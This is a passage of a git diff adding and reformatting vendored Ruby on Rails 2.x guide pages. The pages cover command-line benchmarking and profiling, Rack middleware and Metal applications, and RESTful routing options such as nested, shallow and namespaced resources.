2. Command Line Tools

+
+

Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:

+

2.1. benchmarker

+

benchmarker is a wrapper around Ruby’s Benchmark module.

+

Usage:

+
+
+
$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ...
+

Examples:

+
+
+
$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all'
+

If the [times] argument is omitted, supplied methods are run just once:

+
+
+
$ script/performance/benchmarker 'Item.first' 'Item.last'
+

2.2. profiler

+

profiler is a wrapper around ruby-prof gem.

+

Usage:

+
+
+
$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]
+

Examples:

+
+
+
$ script/performance/profiler 'Item.all'
+

This will profile Item.all in RubyProf::WALL_TIME measure mode. By default, it prints flat output to the shell.

+
+
+
$ script/performance/profiler 'Item.all' 10 graph
+

This will profile 10.times { Item.all } with RubyProf::WALL_TIME measure mode and print graph output to the shell.

+

If you want to store the output in a file:

+
+
+
$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt
+
+

3. Helper methods

+
+

Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called benchmark() in all the three components.

+

3.1. Model

+
+
+
Project.benchmark("Creating project") do
+  project = Project.create("name" => "stuff")
+  project.create_manager("name" => "David")
+  project.milestones << Milestone.find(:all)
+end
+

This benchmarks the code enclosed in the Project.benchmark("Creating project") do..end block and prints the result to the log file:

+
+
+
Creating project (185.3ms)
+

Please refer to the API docs for additional options to benchmark()

+

3.2. Controller

+

Similarly, you could use this helper method inside controllers

+
+ + + +
+Note +benchmark is a class method inside controllers
+
+
+
+
def process_projects
+  self.class.benchmark("Processing projects") do
+    Project.process(params[:project_ids])
+    Project.update_cached_projects
+  end
+end
+

3.3. View

+

And in views:

+
+
+
<% benchmark("Showing projects partial") do %>
+  <%= render :partial => @projects %>
+<% end %>
+
+

4. Request Logging

+
+

Rails log files contain very useful information about the time taken to serve each request. Here’s a typical log file entry:

+
+
+
Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+

For this section, we’re only interested in the last line:

+
+
+
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+

This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It’s safe to assume that the remaining 3 ms were spent inside the controller.

+

Michael Koziarski has an interesting blog post explaining the importance of using milliseconds as the metric.

+
+ +
+

5.1. Rails Plugins and Gems

+
+

5.2. Generic Tools

+
+

5.3. Tutorials and Documentation

+
+
+

6. Commercial Products

+
+

Rails has been lucky to have three startups dedicated to Rails specific performance tools:

+
+
+

7. Changelog

+
+ +
    +
  • +

    +January 9, 2009: Complete rewrite by Pratik +

    +
  • +
  • +

    +September 6, 2008: Initial version by Matthew Bergman +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/rails_on_rack.html b/vendor/rails/railties/doc/guides/html/rails_on_rack.html new file mode 100644 index 00000000..eb1ff6ef --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/rails_on_rack.html @@ -0,0 +1,450 @@ + + + + + Rails on Rack + + + + + + + + +
+ + + +
+

Rails on Rack

+
+
+

This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:

+
    +
  • +

    +Create Rails Metal applications +

    +
  • +
  • +

    +Use Rack Middlewares in your Rails applications +

    +
  • +
  • +

    +Understand Action Pack’s internal Middleware stack +

    +
  • +
  • +

    +Define custom internal Middleware stack +

    +
  • +
  • +

    +Understand the best practices for developing a middleware aimed at Rails applications +

    +
  • +
+
+ + + +
+Note +This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.
+
+
+
+

1. Introduction to Rack

+
+
+
+

Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack’s basics, you should check out the following links:

+ +
+

2. Rails on Rack

+
+

2.1. ActionController::Dispatcher.new

+

ActionController::Dispatcher.new is the primary Rack application object of a Rails application. It responds to call method with a single env argument and returns a Rack response. Any Rack compliant web server should be using ActionController::Dispatcher.new object to serve a Rails application.

+

2.2. script/server

+

script/server does the basic job of creating a Rack::Builder object and starting the webserver. This is Rails equivalent of Rack’s rackup script.

+

Here’s how script/server creates an instance of Rack::Builder

+
+
+
app = Rack::Builder.new {
+  use Rails::Rack::LogTailer unless options[:detach]
+  use Rails::Rack::Static
+  use Rails::Rack::Debugger if options[:debugger]
+  run ActionController::Dispatcher.new
+}.to_app
+

Middlewares used in the code above are most useful in development envrionment. The following table explains their usage:

+
+ +++ + + + + + + + + + + + + + + + + + + + +
Middleware Purpose

Rails::Rack::LogTailer

Appends log file output to console

Rails::Rack::Static

Serves static files inside RAILS_ROOT/public directory

Rails::Rack::Debugger

Starts Debugger

+
+

2.3. rackup

+

To use rackup instead of Rails' script/server, you can put the following inside config.ru of your Rails application’s root directory:

+
+
+
# RAILS_ROOT/config.ru
+require "config/environment"
+
+use Rails::Rack::LogTailer
+use Rails::Rack::Static
+run ActionController::Dispatcher.new
+

And start the server:

+
+
+
[lifo@null application]$ rackup
+

To find out more about different rackup options:

+
+
+
[lifo@null application]$ rackup --help
+
+

3. Action Controller Middleware Stack

+
+

Many of Action Controller’s internal components are implemented as Rack middlewares. ActionController::Dispatcher uses ActionController::MiddlewareStack to combine various internal and external middlewares to form a complete Rails Rack application.

+
+ + + +
+Note + +
What is ActionController::MiddlewareStack ?
ActionController::MiddlewareStack is Rails equivalent of Rack::Builder, but built for better flexibility and more features to meet Rails' requirements.
+
+

3.1. Inspecting Middleware Stack

+

Rails has a handy rake task for inspecting the middleware stack in use:

+
+
+
$ rake middleware
+

For a freshly generated Rails application, this will produce:

+
+
+
use ActionController::Lock
+use ActionController::Failsafe
+use ActiveRecord::QueryCache
+use ActionController::Session::CookieStore, {:secret=>"<secret>", :session_key=>"_<app>_session"}
+use Rails::Rack::Metal
+use ActionController::VerbPiggybacking
+run ActionController::Dispatcher.new
+

3.2. Adding Middlewares

+

Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications.

+

Here’s how you can add middlewares via environment.rb

+
+
+
# environment.rb
+
+config.middleware.use Rack::BounceFavicon
+

3.3. Internal Middleware Stack

+
+
+
use "ActionController::Lock", :if => lambda {
+  !ActionController::Base.allow_concurrency
+}
+
+use "ActionController::Failsafe"
+
+use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) }
+
+["ActionController::Session::CookieStore",
+ "ActionController::Session::MemCacheStore",
+ "ActiveRecord::SessionStore"].each do |store|
+   use(store, ActionController::Base.session_options,
+      :if => lambda {
+        if session_store = ActionController::Base.session_store
+          session_store.name == store
+        end
+      }
+    )
+end
+
+use ActionController::VerbPiggybacking
+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Middleware Purpose

ActionController::Lock

Sets env["rack.multithread"] flag to true and wraps the application within a Mutex.

ActionController::Failsafe

Returns HTTP Status 500 to the client if an exception gets raised while dispatching.

ActiveRecord::QueryCache

Enable the Active Record query cache.

ActionController::Session::CookieStore

Uses the cookie based session store.

ActionController::Session::MemCacheStore

Uses the memcached based session store.

ActiveRecord::SessionStore

Uses the database based session store.

ActionController::VerbPiggybacking

Sets HTTP method based on _method parameter or env["HTTP_X_HTTP_METHOD_OVERRIDE"].

+
+

3.4. Customizing Internal Middleware Stack

+

VERIFY THIS WORKS. Just a code dump at the moment.

+

Put the following in an initializer.

+
+
+
ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
+  m.use ActionController::Lock
+  m.use ActionController::Failsafe
+  m.use ActiveRecord::QueryCache
+  m.use ActionController::Session::CookieStore
+  m.use ActionController::VerbPiggybacking
+end
+

Josh says :

+
+
+
+

4. Rails Metal Applications

+
+

Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.

+

4.1. Generating a Metal Application

+

Rails provides a generator called performance_test for creating new performance tests:

+
+
+
script/generate metal poller
+

This generates poller.rb in the app/metal directory:

+
+
+
# Allow the metal piece to run in isolation
+require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
+
+class Poller
+  def self.call(env)
+    if env["PATH_INFO"] =~ /^\/poller/
+      [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
+    else
+      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
+    end
+  end
+end
+

Metal applications are an optimization. You should make sure to understand the related performance implications before using it.

+

4.2. Execution Order

+

All Metal Applications are executed by Rails::Rack::Metal middleware, which is a part of the ActionController::MiddlewareStack chain.

+

Here’s the primary method responsible for running the Metal applications:

+
+
+
def call(env)
+  @metals.keys.each do |app|
+    result = app.call(env)
+    return result unless result[0].to_i == 404
+  end
+  @app.call(env)
+end
+

In the code above, @metals is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, aaa.rb will come before bbb.rb in the metal chain.

+
+ + + +
+Important +Metal applications cannot return the HTTP Status 404 to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning 404 is a requirement.
+
+
+

5. Middlewares and Rails

+
+
+

6. Changelog

+
+ +
    +
  • +

    +January 11, 2009: First version by Pratik +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/routing_outside_in.html b/vendor/rails/railties/doc/guides/html/routing_outside_in.html index 947d0836..22477e18 100644 --- a/vendor/rails/railties/doc/guides/html/routing_outside_in.html +++ b/vendor/rails/railties/doc/guides/html/routing_outside_in.html @@ -1,330 +1,162 @@ - - Rails Routing from the Outside In - - - - - + + Rails Routing from the Outside In + + + + - +

creates six different routes in your application:

------ - - - - - - - ++++++ + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- HTTP verb - - URL - - controller - - action - - used for -
HTTP verb URL controller action used for
- GET - - /geocoder/new - - Geocoders - - new - - return an HTML form for creating the new geocoder -
- POST - - /geocoder - - Geocoders - - create - - create the new geocoder -
- GET - - /geocoder - - Geocoders - - show - - display the one and only geocoder resource -
- GET - - /geocoder/edit - - Geocoders - - edit - - return an HTML form for editing the geocoder -
- PUT - - /geocoder - - Geocoders - - update - - update the one and only geocoder resource -
- DELETE - - /geocoder - - Geocoders - - destroy - - delete the geocoder resource -

GET

/geocoder/new

Geocoders

new

return an HTML form for creating the new geocoder

POST

/geocoder

Geocoders

create

create the new geocoder

GET

/geocoder

Geocoders

show

display the one and only geocoder resource

GET

/geocoder/edit

Geocoders

edit

return an HTML form for editing the geocoder

PUT

/geocoder

Geocoders

update

update the one and only geocoder resource

DELETE

/geocoder

Geocoders

destroy

delete the geocoder resource

@@ -864,8 +537,8 @@ cellspacing="0" cellpadding="4"> Even though the name of the resource is singular in routes.rb, the matching controller is still plural. -

A singular RESTful route generates an abbreviated set of helpers:

-
+

will recognize incoming URLs containing photo but route the requests to the Images controller:

------ - - - - - - - ++++++ + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- HTTP verb - - URL - - controller - - action - - used for -
HTTP verb URL controller action used for
- GET - - /photos - - Images - - index - - display a list of all images -
- GET - - /photos/new - - Images - - new - - return an HTML form for creating a new image -
- POST - - /photos - - Images - - create - - create a new image -
- GET - - /photos/1 - - Images - - show - - display a specific image -
- GET - - /photos/1/edit - - Images - - edit - - return an HTML form for editing a image -
- PUT - - /photos/1 - - Images - - update - - update a specific image -
- DELETE - - /photos/1 - - Images - - destroy - - delete a specific image -

GET

/photos

Images

index

display a list of all images

GET

/photos/new

Images

new

return an HTML form for creating a new image

POST

/photos

Images

create

create a new image

GET

/photos/1

Images

show

display a specific image

GET

/photos/1/edit

Images

edit

return an HTML form for editing a image

PUT

/photos/1

Images

update

update a specific image

DELETE

/photos/1

Images

destroy

delete a specific image

@@ -1103,36 +696,34 @@ cellspacing="0" cellpadding="4"> Note -The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get photos_path, new_photo_path, and so on. +The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you’d still get photos_path, new_photo_path, and so on.

3.7. Controller Namespaces and Routing

-

Rails allows you to group your controllers into namespaces by saving them in folders underneath app/controllers. The :controller option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the admin folder:

+

Rails allows you to group your controllers into namespaces by saving them in folders underneath app/controllers. The :controller option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the admin folder:

-
map.resources :adminphotos, :controller => "admin/photos"
-
-

If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the adminphoto_path helper, and you follow a link generated with <%= link_to "show", adminphoto(1) %> you will end up on the view generated by admin/photos/show but you will also end up in the same place if you have <%= link_to "show", {:controller ⇒ "photos", :action ⇒ "show"} %> because Rails will generate the show URL relative to the current URL.

+
map.resources :adminphotos, :controller => "admin/photos"
+

If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the adminphoto_path helper, and you follow a link generated with <%= link_to "show", adminphoto(1) %> you will end up on the view generated by admin/photos/show but you will also end up in the same place if you have <%= link_to "show", {:controller => "photos", :action => "show"} %> because Rails will generate the show URL relative to the current URL.

- +
Tip If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <%= link_to "show", {:controller ⇒ "/photos", :action ⇒ "show"} %>If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <%= link_to "show", {:controller => "/photos", :action => "show"} %>
-

You can also specify a controller namespace with the :namespace option instead of a path:

+

You can also specify a controller namespace with the :namespace option instead of a path:

-
map.resources :adminphotos, :namespace => "admin", :controller => "photos"
-
-

This can be especially useful when combined with with_options to map multiple namespaced routes together:

+
map.resources :adminphotos, :namespace => "admin", :controller => "photos"
+

This can be especially useful when combined with with_options to map multiple namespaced routes together:

map.with_options(:namespace => "admin") do |admin|
   admin.resources :photos, :videos
-end
-
-

That would give you routing for admin/photos and admin/videos controllers.

+end +

That would give you routing for admin/photos and admin/videos controllers.

3.7.1. Using :singular

-

If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the :singular option:

+

If for some reason Rails isn’t doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the :singular option:

-
map.resources :teeth, :singular => "tooth"
-
+
map.resources :teeth, :singular => "tooth"
@@ -1161,175 +750,94 @@ http://www.gnu.org/software/src-highlite -->

3.7.2. Using :requirements

-

You an use the :requirements option in a RESTful route to impose a format on the implied :id parameter in the singular routes. For example:

+

You an use the :requirements option in a RESTful route to impose a format on the implied :id parameter in the singular routes. For example:

-
map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
-
-

This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, /photos/1 would no longer be recognized by this route, but /photos/RR27 would.

+
map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
+

This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, /photos/1 would no longer be recognized by this route, but /photos/RR27 would.

3.7.3. Using :conditions

-

Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)

+

Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You’ll learn more about conditions in the discussion of classic routing later in this guide.)

3.7.4. Using :as

-

The :as option lets you override the normal naming for the actual generated paths. For example:

+

The :as option lets you override the normal naming for the actual generated paths. For example:

-
map.resources :photos, :as => "images"
-
-

will recognize incoming URLs containing image but route the requests to the Photos controller:

+
map.resources :photos, :as => "images"
+

will recognize incoming URLs containing image but route the requests to the Photos controller:

------ - - - - - - - ++++++ + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- HTTP verb - - URL - - controller - - action - - used for -
HTTP verb URL controller action used for
- GET - - /images - - Photos - - index - - display a list of all photos -
- GET - - /images/new - - Photos - - new - - return an HTML form for creating a new photo -
- POST - - /images - - Photos - - create - - create a new photo -
- GET - - /images/1 - - Photos - - show - - display a specific photo -
- GET - - /images/1/edit - - Photos - - edit - - return an HTML form for editing a photo -
- PUT - - /images/1 - - Photos - - update - - update a specific photo -
- DELETE - - /images/1 - - Photos - - destroy - - delete a specific photo -

GET

/images

Photos

index

display a list of all photos

GET

/images/new

Photos

new

return an HTML form for creating a new photo

POST

/images

Photos

create

create a new photo

GET

/images/1

Photos

show

display a specific photo

GET

/images/1/edit

Photos

edit

return an HTML form for editing a photo

PUT

/images/1

Photos

update

update a specific photo

DELETE

/images/1

Photos

destroy

delete a specific photo

@@ -1338,19 +846,18 @@ cellspacing="0" cellpadding="4"> Note -The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get photos_path, new_photo_path, and so on. +The helpers will be generated with the name of the resource, not the path name. So in this case, you’d still get photos_path, new_photo_path, and so on.

3.7.5. Using :path_names

-

The :path_names option lets you override the automatically-generated "new" and "edit" segments in URLs:

+

The :path_names option lets you override the automatically-generated "new" and "edit" segments in URLs:

-
map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
-
-

This would cause the routing to recognize URLs such as

+
map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
+

This would cause the routing to recognize URLs such as

/photos/make
@@ -1361,7 +868,7 @@ http://www.gnu.org/software/src-highlite -->
 
 Note
 
-The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.
+The actual action names aren’t changed by this option; the two URLs show would still route to the new and edit actions.
 
 
@@ -1377,18 +884,16 @@ http://www.gnu.org/software/src-highlite --> by Lorenzo Bettini http://www.lorenzobettini.it http://www.gnu.org/software/src-highlite --> -
config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }
-
+
config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }

3.7.6. Using :path_prefix

-

The :path_prefix option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:

+

The :path_prefix option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:

-
map.resources :photos, :path_prefix => '/photographers/:photographer_id'
-
-

Routes recognized by this entry would include:

+
map.resources :photos, :path_prefix => '/photographers/:photographer_id'
+

Routes recognized by this entry would include:

/photographers/1/photos/2
@@ -1399,7 +904,7 @@ http://www.gnu.org/software/src-highlite -->
 
 Note
 
-In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
+In most cases, it’s simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
 
 
@@ -1411,16 +916,15 @@ http://www.gnu.org/software/src-highlite -->

3.7.7. Using :name_prefix

-

You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use :path_prefix to map differently. For example:

+

You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use :path_prefix to map differently. For example:

map.resources :photos, :path_prefix => '/photographers/:photographer_id', :name_prefix => 'photographer_'
-map.resources :photos, :path_prefix => '/agencies/:agency_id', :name_prefix => 'agency_'
-
-

This combination will give you route helpers such as photographer_photos_path and agency_edit_photo_path to use in your code.

+map.resources :photos, :path_prefix => '/agencies/:agency_id', :name_prefix => 'agency_'
+

This combination will give you route helpers such as photographer_photos_path and agency_edit_photo_path to use in your code.

@@ -1430,35 +934,33 @@ map.resources :

3.7.8. Using :only and :except

-

By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the :only and :except options to fine-tune this behavior. The :only option specifies that only certain routes should be generated:

+

By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the :only and :except options to fine-tune this behavior. The :only option specifies that only certain routes should be generated:

-
map.resources :photos, :only => [:index, :show]
-
-

With this declaration, a GET request to /photos would succeed, but a POST request to /photos (which would ordinarily be routed to the create action) will fail.

-

The :except option specifies a route or list of routes that should not be generated:

+
map.resources :photos, :only => [:index, :show]
+

With this declaration, a GET request to /photos would succeed, but a POST request to /photos (which would ordinarily be routed to the create action) will fail.

+

The :except option specifies a route or list of routes that should not be generated:

-
map.resources :photos, :except => :destroy
-
-

In this case, all of the normal routes except the route for destroy (a DELETE request to /photos/id) will be generated.

-

In addition to an action or a list of actions, you can also supply the special symbols :all or :none to the :only and :except options.

+
map.resources :photos, :except => :destroy
+

In this case, all of the normal routes except the route for destroy (a DELETE request to /photos/id) will be generated.

+

In addition to an action or a list of actions, you can also supply the special symbols :all or :none to the :only and :except options.

- +
Tip If your application has many RESTful routes, using :only and :accept to generate only the routes that you actually need can cut down on memory use and speed up the routing process.If your application has many RESTful routes, using :only and :except to generate only the routes that you actually need can cut down on memory use and speed up the routing process.

3.8. Nested Resources

-

It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:

+

It’s common to have resources that are logically children of other resources. For example, suppose your application includes these models:

class Ad < ActiveRecord::Base belongs_to :magazine -end -
-

Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:

+end +

Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:

map.resources :magazines do |magazine|
   magazine.resources :ads
-end
-
-

In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:

+end +

In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:

------ - - - - - - - ++++++ + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
- HTTP verb - - URL - - controller - - action - - used for -
HTTP verb URL controller action used for
- GET - - /magazines/1/ads - - Ads - - index - - display a list of all ads for a specific magazine -
- GET - - /magazines/1/ads/new - - Ads - - new - - return an HTML form for creating a new ad belonging to a specific magazine -
- POST - - /magazines/1/ads - - Ads - - create - - create a new ad belonging to a specific magazine -
- GET - - /magazines/1/ads/1 - - Ads - - show - - display a specific ad belonging to a specific magazine -
- GET - - /magazines/1/ads/1/edit - - Ads - - edit - - return an HTML form for editing an ad belonging to a specific magazine -
- PUT - - /magazines/1/ads/1 - - Ads - - update - - update a specific ad belonging to a specific magazine -
- DELETE - - /magazines/1/ads/1 - - Ads - - destroy - - delete a specific ad belonging to a specific magazine -

GET

/magazines/1/ads

Ads

index

display a list of all ads for a specific magazine

GET

/magazines/1/ads/new

Ads

new

return an HTML form for creating a new ad belonging to a specific magazine

POST

/magazines/1/ads

Ads

create

create a new ad belonging to a specific magazine

GET

/magazines/1/ads/1

Ads

show

display a specific ad belonging to a specific magazine

GET

/magazines/1/ads/1/edit

Ads

edit

return an HTML form for editing an ad belonging to a specific magazine

PUT

/magazines/1/ads/1

Ads

update

update a specific ad belonging to a specific magazine

DELETE

/magazines/1/ads/1

Ads

destroy

delete a specific ad belonging to a specific magazine

-

This will also create routing helpers such as magazine_ads_url and edit_magazine_ad_path.

+

This will also create routing helpers such as magazine_ads_url and edit_magazine_ad_path.

3.8.1. Using :name_prefix

-

The :name_prefix option overrides the automatically-generated prefix in nested route helpers. For example,

+

The :name_prefix option overrides the automatically-generated prefix in nested route helpers. For example,

map.resources :magazines do |magazine|
   magazine.resources :ads, :name_prefix => 'periodical'
-end
-
-

This will create routing helpers such as periodical_ads_url and periodical_edit_ad_path. You can even use :name_prefix to suppress the prefix entirely:

+end +

This will create routing helpers such as periodical_ads_url and periodical_edit_ad_path. You can even use :name_prefix to suppress the prefix entirely:

map.resources :magazines do |magazine|
   magazine.resources :ads, :name_prefix => nil
-end
-
-

This will create routing helpers such as ads_url and edit_ad_path. Note that calling these will still require supplying an article id:

+end +

This will create routing helpers such as ads_url and edit_ad_path. Note that calling these will still require supplying an article id:

ads_url(@magazine)
-edit_ad_path(@magazine, @ad)
-
+edit_ad_path(@magazine, @ad)

3.8.2. Using :has_one and :has_many

-

The :has_one and :has_many options provide a succinct notation for simple nested routes. Use :has_one to nest a singleton resource, or :has_many to nest a plural resource:

+

The :has_one and :has_many options provide a succinct notation for simple nested routes. Use :has_one to nest a singleton resource, or :has_many to nest a plural resource:

-
map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
-
-

This has the same effect as this set of declarations:

+
map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
+

This has the same effect as this set of declarations:

photo.resource :photographer photo.resources :publications photo.resources :versions -end -
+end

3.8.3. Limits to Nesting

-

You can nest resources within other nested resources if you like. For example:

+

You can nest resources within other nested resources if you like. For example:

publisher.resources :magazines do |magazine| magazine.resources :photos end -end -
-

However, without the use of name_prefix ⇒ nil, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as

+end +

However, without the use of name_prefix => nil, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as

/publishers/1/magazines/2/photos/3
-

The corresponding route helper would be publisher_magazine_photo_url, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular article by Jamis Buck proposes a rule of thumb for good Rails design:

-

Resources should never be nested more than 1 level deep.

+

The corresponding route helper would be publisher_magazine_photo_url, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular article by Jamis Buck proposes a rule of thumb for good Rails design:

+

Resources should never be nested more than 1 level deep.

3.8.4. Shallow Nesting

-

The :shallow option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an :id parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:

+

The :shallow option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an :id parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:

publisher.resources :magazines do |magazine| magazine.resources :photos end -end -
-

This will enable recognition of (among others) these routes:

+end +

This will enable recognition of (among others) these routes:

/publishers/1           ==> publisher_path(1)
@@ -1728,16 +1142,15 @@ http://www.gnu.org/software/src-highlite -->
 /magazines/2/photos     ==> magazines_photos_path(2)
 /photos/3               ==> photo_path(3)
-

With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the :has_one and :has_many options:

+

With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the :has_one and :has_many options:

-
map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true
-
+
map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true

3.9. Route Generation from Arrays

-

In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:

+

In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:

map.resources :magazines do |magazine|
   magazine.resources :ads
-end
-
-

Rails will generate helpers such as magazine_ad_path that you can use in building links:

+end +

Rails will generate helpers such as magazine_ad_path that you can use in building links:

-
<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
-
-

Another way to refer to the same route is with an array of objects:

+
<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
+

Another way to refer to the same route is with an array of objects:

-
<%= link_to "Ad details", [@magazine, @ad] %>
-
-

This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.

+
<%= link_to "Ad details", [@magazine, @ad] %>
+

This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.

3.10. Namespaced Resources

-

It's possible to do some quite complex things by combining :path_prefix and :name_prefix. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:

+

It’s possible to do some quite complex things by combining :path_prefix and :name_prefix. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:

map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos'
 map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags'
-map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings'
-
-

The good news is that if you find yourself using this level of complexity, you can stop. Rails supports namespaced resources to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:

+map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings' +

The good news is that if you find yourself using this level of complexity, you can stop. Rails supports namespaced resources to make placing resources in their own folder a snap. Here’s the namespaced version of those same three routes:

map.namespace(:admin) do |admin|
         admin.resources :photos,
           :has_many => { :tags, :ratings}
-end
-
-

As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get admin_photos_url that expects to find an Admin::PhotosController and that matches admin/photos, and admin_photos_ratings_path that matches /admin/photos/photo_id/ratings, expecting to use Admin::RatingsController. Even though you're not specifying path_prefix explicitly, the routing code will calculate the appropriate path_prefix from the route nesting.

+end +

